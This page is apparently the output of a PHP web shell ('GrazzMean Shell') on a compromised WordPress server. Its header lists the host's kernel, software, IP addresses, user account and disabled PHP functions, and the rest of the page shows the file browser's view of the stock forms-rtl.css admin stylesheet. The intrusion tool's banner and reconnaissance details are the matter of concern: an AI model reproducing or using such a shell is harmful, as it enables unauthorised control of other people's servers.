shell bypass 403

GrazzMean Shell

Uname: Linux baohanhelectrolux 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
Software: nginx/1.24.0
PHP version: 8.4.24 [ PHP INFO ] PHP os: Linux
Server Ip: 103.90.227.231
Your Ip: 216.73.217.141
User: www (1000) | Group: www (1000)
Safe Mode: OFF
Disable Function:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

name : forms-rtl.css
/*! This file is auto-generated */
/* Include margin and padding in the width calculation of input and textarea. */
input,
select,
textarea,
button {
	box-sizing: border-box;
	font-family: inherit;
	font-size: inherit;
	font-weight: inherit;
}

textarea,
input {
	font-size: 14px;
}

textarea {
	overflow: auto;
	padding: 8px 12px;
	/* inherits font size 14px */
	line-height: 1.42857143; /* 20px */
	resize: vertical;
}

input,
select {
	margin: 0 1px;
}

textarea.code {
	padding: 8px 12px;
}

input[type="text"],
input[type="password"],
input[type="color"],
input[type="date"],
input[type="datetime"],
input[type="datetime-local"],
input[type="email"],
input[type="month"],
input[type="number"],
input[type="search"],
input[type="tel"],
input[type="time"],
input[type="url"],
input[type="week"],
select,
textarea {
	box-shadow: 0 0 0 transparent;
	border-radius: 2px;
	border: 1px solid #949494;
	background-color: #fff;
	color: #1e1e1e;
}

input[type="text"],
input[type="password"],
input[type="date"],
input[type="datetime"],
input[type="datetime-local"],
input[type="email"],
input[type="month"],
input[type="number"],
input[type="search"],
input[type="tel"],
input[type="time"],
input[type="url"],
input[type="week"] {
	padding: 0 12px;
	/* inherits font size 14px */
	min-height: 40px;
}

select {
	padding: 0 12px 0 24px;
	/* inherits font size 14px */
	line-height: 2.71428571; /* 38px for 40px min-height */
	min-height: 40px;
}

::-webkit-datetime-edit {
	/* inherits font size 14px */
	line-height: 1.85714286; /* 26px */
}

input[type="text"]:focus,
input[type="password"]:focus,
input[type="color"]:focus,
input[type="date"]:focus,
input[type="datetime"]:focus,
input[type="datetime-local"]:focus,
input[type="email"]:focus,
input[type="month"]:focus,
input[type="number"]:focus,
input[type="search"]:focus,
input[type="tel"]:focus,
input[type="time"]:focus,
input[type="url"]:focus,
input[type="week"]:focus,
select:focus,
textarea:focus {
	border-color: var(--wp-admin-theme-color);
	box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color);
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

/* Checkbox and radio use outset focus style */
input[type="checkbox"]:focus,
input[type="radio"]:focus {
	border-color: #1e1e1e;
	box-shadow: 0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color);
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

/* rtl:ignore */
.ltr,
input[type="password"],
input[type="email"],
input[type="url"] {
	direction: ltr;
}

input[type="checkbox"],
input[type="radio"] {
	border: 1px solid #1e1e1e;
	border-radius: 2px;
	background: #fff;
	color: #1e1e1e;
	clear: none;
	cursor: pointer;
	display: inline-block;
	line-height: 0;
	height: 1rem;
	margin: -0.25rem 0 0 0.25rem;
	outline: 0;
	padding: 0 !important;
	text-align: center;
	vertical-align: middle;
	width: 1rem;
	min-width: 1rem;
	-webkit-appearance: none;
	box-shadow: none;
	transition: .05s border-color ease-in-out;
}

input[type="radio"]:checked + label:before {
	color: #949494;
}

.wp-core-ui input[type="reset"]:hover,
.wp-core-ui input[type="reset"]:active {
	color: #135e96;
}

td > input[type="checkbox"],
.wp-admin p input[type="checkbox"],
.wp-admin p input[type="radio"] {
	margin-top: 0;
}

.wp-admin p label input[type="checkbox"] {
	margin-top: -4px;
}

.wp-admin p label input[type="radio"] {
	margin-top: -2px;
}

input[type="radio"] {
	display: inline-flex;
	border-radius: 50%;
	margin-left: 0.25rem;
	align-items: center;
	justify-content: center;
}

input[type="checkbox"]:checked::before,
input[type="radio"]:checked::before {
	float: right;
	display: inline-block;
	vertical-align: middle;
	width: 1rem;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

input[type="checkbox"]:checked::before {
	/* Use the "Yes" SVG Dashicon */
	content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%23ffffff%27%2F%3E%3C%2Fsvg%3E");
	content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%23ffffff%27%2F%3E%3C%2Fsvg%3E") / '';
	margin: -0.1875rem -0.25rem 0 0;
	height: 1.3125rem;
	width: 1.3125rem;
}

input[type="checkbox"]:checked {
	background: var(--wp-admin-theme-color);
	border-color: var(--wp-admin-theme-color);
}

input[type="radio"]:checked {
	background: var(--wp-admin-theme-color);
	border-color: var(--wp-admin-theme-color);
}

input[type="radio"]:checked::before {
	content: "";
	border-radius: 50%;
	width: 0.5rem; /* 8px */
	height: 0.5rem; /* 8px */
	margin: auto;
	background-color: #fff;
	/* Only visible in Windows High Contrast mode */
	outline: 4px solid transparent;
}

@-moz-document url-prefix() {
	input[type="checkbox"],
	input[type="radio"],
	.form-table input.tog {
		margin-bottom: -1px;
	}
}

/* Search */
input[type="search"] {
	-webkit-appearance: textfield;
}

input[type="search"]::-webkit-search-decoration {
	display: none;
}

input[type="search"]::-webkit-search-cancel-button {
	cursor: pointer;
}

.wp-admin input[type="file"] {
	padding: 3px 0;
	cursor: pointer;
}

input.readonly,
input[readonly],
textarea.readonly,
textarea[readonly] {
	background-color: #f0f0f0;
}

::-webkit-input-placeholder {
	color: #757575;
}

::-moz-placeholder {
	color: #757575;
}

.form-invalid .form-required,
.form-invalid .form-required:focus,
.form-invalid.form-required input,
.form-invalid.form-required input:focus,
.form-invalid.form-required select,
.form-invalid.form-required select:focus {
	border-color: #d63638 !important;
	box-shadow: 0 0 2px rgba(214, 54, 56, 0.8);
}

.form-table .form-required.form-invalid td:after {
	content: "\f534";
	content: "\f534" / '';
	font: normal 20px/1 dashicons;
	color: #d63638;
	margin-right: -25px;
	vertical-align: middle;
}

/* Adjust error indicator for password layout */
.form-table .form-required.user-pass1-wrap.form-invalid td:after {
	content: "";
}

.form-table .form-required.user-pass1-wrap.form-invalid .password-input-wrapper:after {
	content: "\f534";
	content: "\f534" / '';
	font: normal 20px/1 dashicons;
	color: #d63638;
	margin: 0 -29px 0 6px;
	vertical-align: middle;
}

.form-input-tip {
	color: #646970;
}

input:disabled,
input.disabled,
select:disabled,
select.disabled,
textarea:disabled,
textarea.disabled {
	background: #f0f0f0;
	border-color: #cccccc;
	box-shadow: none;
	color: #949494;
}

input[type="file"]:disabled,
input[type="file"].disabled,
input[type="file"][aria-disabled="true"],
input[type="range"]:disabled,
input[type="range"].disabled,
input[type="range"][aria-disabled="true"] {
	background: none;
	box-shadow: none;
	cursor: default;
}

input[type="checkbox"]:disabled,
input[type="checkbox"].disabled,
input[type="checkbox"][aria-disabled="true"],
input[type="radio"]:disabled,
input[type="radio"].disabled,
input[type="radio"][aria-disabled="true"],
input[type="checkbox"]:disabled:checked:before,
input[type="checkbox"].disabled:checked:before,
input[type="radio"]:disabled:checked:before,
input[type="radio"].disabled:checked:before {
	opacity: 0.7;
	cursor: default;
}

/*------------------------------------------------------------------------------
  2.0 - Forms
------------------------------------------------------------------------------*/

/* Select styles are based on the default button in buttons.css */
.wp-core-ui select {
	font-size: 14px;
	line-height: 2.71428571; /* 38px for 40px min-height */
	color: #1e1e1e;
	border-color: #949494;
	box-shadow: none;
	border-radius: 2px;
	padding: 0 12px 0 24px;
	min-height: 40px;
	max-width: 25rem;
	-webkit-appearance: none;
	/* The SVG is arrow-down-alt2 from Dashicons. */
	background: #fff url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%231e1e1e%22%2F%3E%3C%2Fsvg%3E') no-repeat left 8px top 55%;
	background-size: 16px 16px;
	cursor: pointer;
	vertical-align: middle;
}

.wp-core-ui select:hover {
	color: #1e1e1e;
	border-color: #1e1e1e;
}

.wp-core-ui select:focus {
	border-color: var(--wp-admin-theme-color);
	color: #1e1e1e;
	box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color);
}

.wp-core-ui select:active {
	border-color: #949494;
	box-shadow: none;
}

.wp-core-ui select.disabled,
.wp-core-ui select:disabled {
	color: #a7aaad;
	border-color: #dcdcde;
	background-color: #f6f7f7;
	/* The SVG is arrow-down-alt2 from Dashicons. */
	background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%23a0a5aa%22%2F%3E%3C%2Fsvg%3E');
	box-shadow: none;
	text-shadow: 0 1px 0 #fff;
	cursor: default;
	transform: none;
}

.wp-core-ui select[aria-disabled="true"] {
	cursor: default;
}

/* Reset Firefox inner outline that appears on :focus. */
/* This ruleset overrides the color change on :focus thus needs to be after select:focus. */
.wp-core-ui select:-moz-focusring {
	color: transparent;
	text-shadow: 0 0 0 #0a4b78;
}

/* Remove background focus style from IE11 while keeping focus style available on option elements. */
.wp-core-ui select::-ms-value {
	background: transparent;
	color: #50575e;
}

.wp-core-ui select:hover::-ms-value {
	color: #1e1e1e;
}

.wp-core-ui select:focus::-ms-value {
	color: #0a4b78;
}

.wp-core-ui select.disabled::-ms-value,
.wp-core-ui select:disabled::-ms-value {
	color: #a7aaad;
}

/* Hide the native down arrow for select element on IE. */
.wp-core-ui select::-ms-expand {
	display: none;
}

.wp-admin .button-cancel {
	display: inline-block;
	min-height: 28px;
	padding: 0 5px;
	line-height: 2;
}

.meta-box-sortables select {
	max-width: 100%;
}

.meta-box-sortables input {
	vertical-align: middle;
}

.misc-pub-post-status select {
	margin-top: 0;
}

.wp-core-ui select[multiple] {
	height: auto;
	padding-left: 8px;
	background: #fff;
}

.submit {
	padding: 1.5em 0;
	margin: 5px 0;
	border-bottom-right-radius: 3px;
	border-bottom-left-radius: 3px;
	border: none;
}

form p.submit a.cancel:hover {
	text-decoration: none;
}

p.submit {
	text-align: right;
	max-width: 100%;
	margin-top: 20px;
	padding-top: 10px;
}

.textright p.submit {
	border: none;
	text-align: left;
}

table.form-table + p.submit,
table.form-table + input + p.submit,
table.form-table + input + input + p.submit {
	border-top: none;
	padding-top: 0;
}

#minor-publishing-actions input,
#major-publishing-actions input,
#minor-publishing-actions .preview {
	text-align: center;
}

textarea.all-options,
input.all-options {
	width: 250px;
}

input.large-text,
textarea.large-text {
	width: 99%;
}

.regular-text {
	width: 25em;
}

input.small-text {
	width: 50px;
	padding: 0 8px;
}

label input.small-text {
	margin-top: -4px;
}

input[type="number"].small-text {
	width: 65px;
	padding-left: 4px;
}

input.tiny-text {
	width: 35px;
}

input[type="number"].tiny-text {
	width: 45px;
	padding-left: 0;
}

#doaction,
#doaction2,
#post-query-submit {
	margin: 0 0 0 8px;
}

/* @since 5.7.0 secondary bulk action controls require JS. */
.no-js label[for="bulk-action-selector-bottom"],
.no-js select#bulk-action-selector-bottom,
.no-js input#doaction2,
.no-js label[for="new_role2"],
.no-js select#new_role2,
.no-js input#changeit2 {
	display: none;
}

.wp-core-ui .tablenav input[type="text"],
.wp-core-ui .tablenav input[type="password"],
.wp-core-ui .tablenav input[type="date"],
.wp-core-ui .tablenav input[type="datetime"],
.wp-core-ui .tablenav input[type="datetime-local"],
.wp-core-ui .tablenav input[type="email"],
.wp-core-ui .tablenav input[type="month"],
.wp-core-ui .tablenav input[type="number"],
.wp-core-ui .tablenav input[type="search"],
.wp-core-ui .tablenav input[type="tel"],
.wp-core-ui .tablenav input[type="time"],
.wp-core-ui .tablenav input[type="url"],
.wp-core-ui .tablenav input[type="week"],
.wp-core-ui .tablenav select {
	padding: 0 12px;
	/* inherits font size 14px */
	line-height: 2.14285714; /* 30px for 32px height with 14px font */
	min-height: 32px;
}

.wp-core-ui .tablenav select {
	float: right;
	margin-left: 6px;
	max-width: 12.5rem;
	padding: 0 8px 0 24px;
}

.wp-core-ui .tablenav .button {
	min-height: 32px;
	line-height: 2.30769231; /* 30px for 32px height with 13px font */
	padding: 0 12px;
}

#timezone_string option {
	margin-right: 1em;
}

.wp-core-ui .button.wp-hide-pw > .dashicons,
.wp-core-ui .button.wp-cancel-pw > .dashicons {
	width: 1.25rem;
	height: 1.25rem;
	font-size: 20px;
	line-height: 1;
	vertical-align: middle;
}

.button.wp-hide-pw.user-new-password-toggle {
	display: inline-flex;
	align-items: center;
	column-gap: 4px;
}

.wp-cancel-pw .dashicons-no {
	display: none;
}

label,
#your-profile label + a {
	vertical-align: middle;
}

fieldset label,
#your-profile label + a {
	vertical-align: middle;
}

.options-media-php [for*="_size_"] {
	min-width: 10em;
	vertical-align: baseline;
}

.options-media-php .small-text[name*="_size_"] {
	margin: 0 0 1em;
}

.wp-generate-pw {
	margin-top: 1em;
	position: relative;
}

.wp-pwd button {
	height: min-content;
}

.wp-pwd {
	margin-top: 1em;
	position: relative;
}

.mailserver-pass-wrap .wp-pwd {
	display: inline-block;
	margin-top: 0;
}

/* rtl:ignore */
#mailserver_pass {
	padding-right: 2.5rem;
}

/* rtl:ignore */
.mailserver-pass-wrap .button.wp-hide-pw {
	background: transparent;
	border: 1px solid transparent;
	box-shadow: none;
	font-size: 14px;
	line-height: 2;
	width: 2.5rem;
	min-width: 40px;
	margin: 0;
	padding: 0 9px;
	position: absolute;
	right: 0;
	top: 0;
}

.mailserver-pass-wrap .button.wp-hide-pw:hover {
	background: transparent;
	border-color: transparent;
}

.mailserver-pass-wrap .button.wp-hide-pw:focus {
	background: transparent;
	border-color: var(--wp-admin-theme-color);
	border-radius: 2px;
	box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color);
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.mailserver-pass-wrap .button.wp-hide-pw:active {
	background: transparent;
	box-shadow: none;
	transform: none;
}

#misc-publishing-actions label {
	vertical-align: baseline;
}

#pass-strength-result {
	background-color: #f0f0f0;
	border: 1px solid #cccccc;
	border-radius: 2px;
	color: #1e1e1e;
	margin: -1px 1px 5px;
	padding: 3px 5px;
	text-align: center;
	width: 25em;
	box-sizing: border-box;
	opacity: 0;
}

#pass-strength-result.short {
	background-color: #ffabaf;
	border-color: #e65054;
	opacity: 1;
}

#pass-strength-result.bad {
	background-color: #facfd2;
	border-color: #f86368;
	opacity: 1;
}

#pass-strength-result.good {
	background-color: #f5e6ab;
	border-color: #f0c33c;
	opacity: 1;
}

#pass-strength-result.strong {
	background-color: #b8e6bf;
	border-color: #68de7c;
	opacity: 1;
}

.password-input-wrapper {
	display: inline-block;
}

.password-input-wrapper input {
	font-family: Consolas, Monaco, monospace;
}

#pass1.short, #pass1-text.short {
	border-color: #e65054;
}

#pass1.bad, #pass1-text.bad {
	border-color: #f86368;
}

#pass1.good, #pass1-text.good {
	border-color: #f0c33c;
}

#pass1.strong, #pass1-text.strong {
	border-color: #68de7c;
}

#pass1:focus,
#pass1-text:focus {
	box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color);
	border-color: var(--wp-admin-theme-color, #3858e9);
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.pw-weak {
	display: none;
}

.indicator-hint {
	padding-top: 8px;
}

.wp-pwd [type="text"],
.wp-pwd [type="password"] {
	margin-bottom: 0;
	/* Same height as the buttons */
	min-height: 40px;
}

/* Hide the Edge "reveal password" native button */
.wp-pwd input::-ms-reveal {
	display: none;
}

#pass1-text,
.show-password #pass1 {
	display: none;
}

#pass1-text::-ms-clear {
	display: none;
}

.show-password #pass1-text {
	display: inline-block;
}

/* Caps lock warning */
.wp-pwd .caps-warning {
	display: none;
	position: relative;
	background: #fcf9e8;
	border: 1px solid #f0c33c;
	color: #1d2327;
	padding: 6px 10px;
	top: -8px;
}

.profile-php .wp-pwd .caps-warning {
	padding: 3px 5px;
	top: -4px;
	border-radius: 2px;
}

.wp-pwd .caps-icon {
	display: inline-flex;
	justify-content: center;
	width: 20px;
	height: 20px;
	margin-left: 5px;
	vertical-align: middle;
}

.wp-pwd .caps-warning-text {
	vertical-align: middle;
}
/* Caps lock warning */

p.search-box {
	display: flex;
	flex-wrap: wrap;
	align-items: center;
	column-gap: 0.5rem;
	position: relative;
	float: left;
	margin: 11px 0;
}

p.search-box input[type="search"],
p.search-box input[type="text"] {
	min-height: 32px;
	padding: 0 8px;
}

p.search-box .button {
	min-height: 32px;
	line-height: 2.30769231; /* 30px for 32px height with 13px font */
	padding: 0 12px;
}

.network-admin.themes-php p.search-box {
	clear: right;
}

.tablenav .search-plugins input[name="s"] {
	float: right;
	margin: 0 0 0 4px;
}

.tagsdiv .newtag {
	margin: 0;
}

.js.plugins-php .search-box .wp-filter-search {
	margin: 0;
	width: 280px;
}

input[type="text"].ui-autocomplete-loading,
input[type="email"].ui-autocomplete-loading {
	background-image: url(../images/loading.gif);
	background-repeat: no-repeat;
	background-position: left 5px center;
	visibility: visible;
}

input.ui-autocomplete-input.open {
	border-bottom-color: transparent;
}

ul#add-to-blog-users {
	margin: 0 14px 0 0;
}

.ui-autocomplete {
	padding: 0;
	margin: 0;
	list-style: none;
	position: absolute;
	z-index: 10000;
	border: 1px solid #4f94d4;
	box-shadow: 0 1px 2px rgba(79, 148, 212, 0.8);
	background-color: #fff;
}

.ui-autocomplete li {
	margin-bottom: 0;
	padding: 4px 10px;
	white-space: nowrap;
	text-align: right;
	cursor: pointer;
}

/* Colors for the wplink toolbar autocomplete. */
.ui-autocomplete .ui-state-focus {
	background-color: #dcdcde;
}

/* Colors for the tags autocomplete. */
.wp-tags-autocomplete .ui-state-focus,
.wp-tags-autocomplete [aria-selected="true"] {
	background-color: var(--wp-admin-theme-color);
	color: #fff;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

/*------------------------------------------------------------------------------
  15.0 - Comments Screen
------------------------------------------------------------------------------*/

.form-table {
	border-collapse: collapse;
	margin-top: 0.5em;
	width: 100%;
	clear: both;
}

.form-table,
.form-table td,
.form-table th,
.form-table td p {
	font-size: 14px;
}

.form-table td {
	margin-bottom: 9px;
	padding: 15px 10px;
	line-height: 1.3;
	vertical-align: middle;
}

.form-table th,
.form-wrap label {
	color: #1d2327;
	font-weight: 400;
	text-shadow: none;
	vertical-align: baseline;
}

.form-table th {
	vertical-align: top;
	text-align: right;
	padding: 20px 0 20px 10px;
	width: 200px;
	line-height: 1.3;
	font-weight: 600;
}

.form-table th.th-full, /* Not used by core. Back-compat for pre-4.8 */
.form-table .td-full {
	width: auto;
	padding: 20px 0 20px 10px;
	font-weight: 400;
}

.form-table td p {
	margin-top: 4px;
	margin-bottom: 0;
}

.form-table .date-time-doc {
	margin-top: 1em;
}

.form-table p.timezone-info {
	margin: 1em 0;
	display: flex;
	flex-direction: column;
}

#local-time {
	margin-top: 0.5em;
}

.form-table td fieldset label {
	margin: 0.35em 0 0.5em !important;
	display: inline-block;
}

.form-table td fieldset p label {
	margin-top: 0 !important;
}

.form-table td fieldset label,
.form-table td fieldset p,
.form-table td fieldset li {
	line-height: 1.4;
}

.form-table .pre {
	padding: 8px;
	margin: 0;
}

table.form-table td .updated {
	font-size: 13px;
}

table.form-table td .updated p {
	font-size: 13px;
	margin: 0.3em 0;
}

/*------------------------------------------------------------------------------
  18.0 - Users
------------------------------------------------------------------------------*/

#profile-page .form-table textarea {
	width: 500px;
	margin-bottom: 6px;
}

#profile-page .form-table #rich_editing {
	margin-left: 5px
}

#your-profile legend {
	font-size: 22px;
}

#display_name {
	width: 15em;
}

#adduser .form-field input,
#createuser .form-field input {
	width: 25em;
}

.color-option {
	display: inline-block;
	width: 24%;
	padding: 5px 15px 15px;
	box-sizing: border-box;
	margin-bottom: 3px;
}

.color-option:hover,
.color-option.selected {
	background: #dcdcde;
}

.color-palette {
	display: table;
	width: 100%;
	border-spacing: 0;
	border-collapse: collapse;
}
.color-palette .color-palette-shade,
.color-palette td {
	display: table-cell;
	height: 20px;
	padding: 0;
	border: none;
}

.color-option {
	cursor: pointer;
}

.create-application-password .form-field {
	max-width: 25em;
}

.create-application-password label {
	font-weight: 600;
}

.create-application-password p.submit {
	margin-bottom: 0;
	padding-bottom: 0;
	display: block;
}

#application-passwords-section .notice {
	margin-top: 20px;
	margin-bottom: 0;
	word-wrap: break-word;
}

.application-password-display input.code {
	margin-bottom: 6px;
	width: 100%;
	max-width: 20em;
}

.auth-app-card.card {
	max-width: 768px;
}

.authorize-application-php .form-wrap p {
	display: block;
}

/*------------------------------------------------------------------------------
  19.0 - Tools
------------------------------------------------------------------------------*/

.tool-box .title {
	margin: 8px 0;
	font-size: 18px;
	font-weight: 400;
	line-height: 24px;
}

.label-responsive {
	vertical-align: middle;
}

#export-filters p {
	margin: 0 0 1em;
}

#export-filters p.submit {
	margin: 7px 0 5px;
}

/* Card styles */

.card {
	position: relative;
	margin-top: 20px;
	padding: 16px 24px;
	min-width: 255px;
	max-width: 520px;
	border: 1px solid rgb(0, 0, 0, 0.1);
	border-radius: 8px;
	background: #ffffff;
	box-sizing: border-box;
}

/* Press this styles */

.pressthis h4 {
	margin: 2em 0 1em;
}

.pressthis textarea {
	width: 100%;
	font-size: 1em;
}

#pressthis-code-wrap {
	overflow: auto;
}

.pressthis-bookmarklet-wrapper {
	margin: 20px 0 8px;
	vertical-align: top;
	position: relative;
	z-index: 1;
}

.pressthis-bookmarklet,
.pressthis-bookmarklet:hover,
.pressthis-bookmarklet:focus,
.pressthis-bookmarklet:active {
	display: inline-block;
	position: relative;
	cursor: move;
	color: #2c3338;
	background: #dcdcde;
	border-radius: 5px;
	border: 1px solid #c3c4c7;
	font-style: normal;
	line-height: 16px;
	font-size: 14px;
	text-decoration: none;
}

.pressthis-bookmarklet:active {
	outline: none;
}

.pressthis-bookmarklet:after {
	content: "";
	width: 70%;
	height: 55%;
	z-index: -1;
	position: absolute;
	left: 10px;
	bottom: 9px;
	background: transparent;
	transform: skew(-20deg) rotate(-6deg);
	box-shadow: 0 10px 8px rgba(0, 0, 0, 0.6);
}

.pressthis-bookmarklet:hover:after {
	transform: skew(-20deg) rotate(-9deg);
	box-shadow: 0 10px 8px rgba(0, 0, 0, 0.7);
}

.pressthis-bookmarklet span {
	display: inline-block;
	margin: 0;
	padding: 0 9px 8px 12px;
}

.pressthis-bookmarklet span:before {
	color: #787c82;
	font: normal 20px/1 dashicons;
	content: "\f157";
	content: "\f157" / '';
	position: relative;
	display: inline-block;
	top: 4px;
	margin-left: 4px;
}

.pressthis-js-toggle {
	margin-right: 10px;
	padding: 0;
	height: auto;
	vertical-align: top;
}

/* to override the button class being applied */
.pressthis-js-toggle.button.button {
	margin-right: 10px;
	padding: 0;
	height: auto;
	vertical-align: top;
}

.pressthis-js-toggle .dashicons {
	margin: 5px 7px 6px 8px;
	color: #50575e;
}

/*------------------------------------------------------------------------------
  20.0 - Settings
------------------------------------------------------------------------------*/

.timezone-info code {
	white-space: nowrap;
}

.defaultavatarpicker .avatar {
	margin: 2px 0;
	vertical-align: middle;
}

.options-general-php .date-time-text {
	display: inline-block;
	min-width: 10em;
}

.options-general-php input.small-text {
	width: 56px;
	margin: -2px 0;
	min-height: 32px;
}

.options-general-php .spinner {
	float: none;
	margin: -3px 3px 0;
}

.settings-php .language-install-spinner,
.options-general-php .language-install-spinner,
.user-edit-php .language-install-spinner,
.profile-php .language-install-spinner {
	display: inline-block;
	float: none;
	margin: -3px 5px 0;
	vertical-align: middle;
}

.form-table.permalink-structure .available-structure-tags {
	margin-top: 8px;
}

.form-table.permalink-structure .available-structure-tags ul {
	display: flex;
	flex-wrap: wrap;
	margin: 8px 0 0;
}

.form-table.permalink-structure .available-structure-tags li {
	margin: 6px 0 0 5px;
}

.form-table.permalink-structure .available-structure-tags li:last-child {
	margin-left: 0;
}

.form-table.permalink-structure .structure-selection .row {
	margin-bottom: 16px;
}

.form-table.permalink-structure .structure-selection .row > div {
	max-width: calc(100% - 24px);
	display: inline-flex;
	flex-direction: column;
}

.form-table.permalink-structure .structure-selection .row label {
	font-weight: 600;
}

.form-table.permalink-structure .structure-selection .row p {
	margin-top: 0;
}

.permalink-structure-optional-description code {
	display: inline-block;
}

/*------------------------------------------------------------------------------
  21.0 - Network Admin
------------------------------------------------------------------------------*/

.setup-php textarea {
	max-width: 100%;
}

.form-field #site-address {
	max-width: 25em;
}

.form-field #domain {
	max-width: 22em;
}

.form-field #site-title,
.form-field #admin-email,
.form-field #path,
.form-field #blog_registered,
.form-field #blog_last_updated {
	max-width: 25em;
}

.form-field #path {
	margin-bottom: 5px;
}

#search-users,
#search-sites {
	max-width: 60%;
}

.configuration-rules-label {
	font-weight: 600;
	margin-bottom: 4px;
}

/*------------------------------------------------------------------------------
   Credentials check dialog for Install and Updates
------------------------------------------------------------------------------*/

.request-filesystem-credentials-dialog {
	display: none;
	/* The customizer uses visibility: hidden on the body for full-overlays. */
	visibility: visible;
}

.request-filesystem-credentials-dialog .notification-dialog {
	top: 10%;
	max-height: 85%;
}

.request-filesystem-credentials-dialog-content {
	margin: 25px;
}

#request-filesystem-credentials-title {
	font-size: 1.3em;
	margin: 1em 0;
}

.request-filesystem-credentials-form legend {
	font-size: 1em;
	padding: 1.33em 0;
	font-weight: 600;
}

.request-filesystem-credentials-form input[type="text"],
.request-filesystem-credentials-form input[type="password"] {
	display: block;
}

.request-filesystem-credentials-dialog input[type="text"],
.request-filesystem-credentials-dialog input[type="password"] {
	width: 100%;
}

.request-filesystem-credentials-form .field-title {
	font-weight: 600;
}

.request-filesystem-credentials-dialog label[for="hostname"],
.request-filesystem-credentials-dialog label[for="public_key"],
.request-filesystem-credentials-dialog label[for="private_key"] {
	display: block;
	margin-bottom: 1em;
}

.request-filesystem-credentials-dialog .ftp-username,
.request-filesystem-credentials-dialog .ftp-password {
	float: right;
	width: 48%;
}

.request-filesystem-credentials-dialog .ftp-password {
	margin-right: 4%;
}

.request-filesystem-credentials-dialog .request-filesystem-credentials-action-buttons {
	text-align: left;
}

.request-filesystem-credentials-dialog label[for="ftp"] {
	margin-left: 10px;
}

.request-filesystem-credentials-dialog #auth-keys-desc {
	margin-bottom: 0;
}

#request-filesystem-credentials-dialog .button:not(:last-child) {
	margin-left: 10px;
}

#request-filesystem-credentials-form .cancel-button {
	display: none;
}

#request-filesystem-credentials-dialog .cancel-button {
	display: inline;
}

.request-filesystem-credentials-dialog .ftp-username,
.request-filesystem-credentials-dialog .ftp-password {
	float: none;
	width: auto;
}

.request-filesystem-credentials-dialog .ftp-username {
	margin-bottom: 1em;
}

.request-filesystem-credentials-dialog .ftp-password {
	margin: 0;
}

.request-filesystem-credentials-dialog .ftp-password em {
	color: #757575;
}

.request-filesystem-credentials-dialog label {
	display: block;
	line-height: 1.5;
	margin-bottom: 1em;
}

.request-filesystem-credentials-form legend {
	padding-bottom: 0;
}

.request-filesystem-credentials-form #ssh-keys legend {
	font-size: 1.3em;
}

.request-filesystem-credentials-form .notice {
	margin: 0 0 20px;
	clear: both;
}

/*------------------------------------------------------------------------------
   Privacy Policy settings screen
------------------------------------------------------------------------------*/
.tools-privacy-policy-page form {
	margin-bottom: 1.3em;
}

.tools-privacy-policy-page input.button {
	margin: 0 6px 0 1px;
}

.tools-privacy-policy-page select {
	margin: 0 6px 0.5em 1px;
}

.tools-privacy-edit {
	margin: 1.5em 0;
}

.tools-privacy-policy-page span {
	line-height: 2;
}

.privacy_requests .column-email {
	width: 40%;
}

.privacy_requests .column-type {
	text-align: center;
}

.privacy_requests thead td:first-child,
.privacy_requests tfoot td:first-child {
	border-right: 4px solid #fff;
}

.privacy_requests tbody td.check-column {
	border-right: 4px solid #fff;
	background: #fff;
	box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
}

.privacy_requests .row-actions {
	color: #787c82;
}

.privacy_requests .row-actions.processing {
	position: static;
}

.privacy_requests tbody .has-request-results th {
	box-shadow: none;
}

.privacy_requests tbody .request-results th .notice {
	margin: 0 0 5px;
}

.privacy_requests tbody td:not(.check-column),
.privacy_requests tbody th {
	background: #fff;
	box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
}

.privacy_requests tbody .has-request-results td {
	box-shadow: none;
}

.privacy_requests .next_steps .button {
	word-wrap: break-word;
	white-space: normal;
}

.privacy_requests tr.status-request-confirmed td.check-column {
